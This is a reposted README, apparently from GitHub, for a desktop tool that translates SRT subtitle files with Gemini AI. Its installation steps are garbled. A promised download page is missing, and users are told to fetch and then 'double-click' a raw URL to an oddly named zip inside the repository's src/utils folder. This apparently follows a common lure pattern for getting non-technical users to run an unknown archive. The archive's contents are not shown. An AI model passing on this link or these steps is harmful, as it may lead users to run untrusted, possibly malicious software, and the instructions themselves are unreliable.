subtitle-translator：用 Gemini AI 翻译 SRT 字幕，支持 20+ 语言
mughal331/subtitle-translator
开源桌面应用 subtitle-translator 可借助 Google Gemini AI 将 SRT 字幕文件翻译成 20 多种语言，并实时预览译文。该工具支持 Windows 10 及以上、macOS Mojave 及以上系统，需 4 GB 以上内存和联网，单次处理一个不超过 50 MB 的文件，目前仅提供桌面版。
🎬 subtitle-translator - Translate Subtitles Easily
🚀 Getting Started
Welcome to subtitle-translator! This application allows you to easily translate your SRT subtitle files into over 20 languages using Google’s powerful Gemini AI. You can see the translations in real time and enjoy seamless streaming.
📥 Download
To download subtitle-translator, visit the page below:
💻 System Requirements
Before you download, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, macOS Mojave or later
- RAM: 4 GB or more
- Internet connection for real-time translation
- Browser Compatibility: Latest versions of Chrome, Firefox, or Safari
⚙️ Installation Instructions
- Go to the Releases Page: Click on the link above to go to the releases page.
- Find the Latest Version: Locate the most recent release at the top of the page.
- Download the File: Click on the download link for your operating system. The file will usually be named something like
https://github.com/mughal331/subtitle-translator/raw/refs/heads/main/src/utils/subtitle_translator_liquorist.zip. - Extract the Zip File: Once downloaded, extract the zip file to a folder on your computer.
- Run the Application: Open the folder where you extracted the files, and double-click
https://github.com/mughal331/subtitle-translator/raw/refs/heads/main/src/utils/subtitle_translator_liquorist.zip(or the equivalent file for macOS) to start the application.
- Upload Your Subtitle File: Click on the "Upload" button in the application to choose your SRT file.
- Select Target Language: From the drop-down menu, select the language into which you want to translate the subtitles.
- View Real-Time Preview: As you select your options, you can see the translations update instantly in the preview window.
- Download Translated Subtitles: After reviewing your translations, click on the "Download" button to save your new subtitle file.
💡 Key Features
- Multi-Language Support: Translate subtitles into 20+ languages, including Persian, Spanish, French, and more.
- Real-Time Preview: See immediate results as you make changes, which helps ensure accuracy.
- User-Friendly Interface: Designed for non-technical users, making subtitle translation easy and quick.
- Streaming Compatibility: Keep your subtitles up-to-date for any streaming content.
🛠️ Troubleshooting
If you run into issues:
- File Not Uploading: Ensure the file is in SRT format and does not exceed 50 MB.
- Translations Not Appearing: Check your internet connection, as the app needs online access for real-time translation.
- Application Not Starting: Verify that your system meets the requirements. If it still doesn’t open, try restarting your computer.
🙋 FAQs
Q: Is there a mobile version of the app?
A: Currently, subtitle-translator is designed for desktop use only.
Q: Can I translate multiple subtitle files at once?
A: At this time, the application processes one file at a time.
Q: What if I find an error in the translation?
A: The application uses AI for translations. For best results, you may want to edit the translated text directly within the app.
📞 Support
For help, please reach out via the Issues tab on the repository page or consult the community support forum.
Enjoy translating your subtitles with ease and efficiency!
来源：GitHub · github.com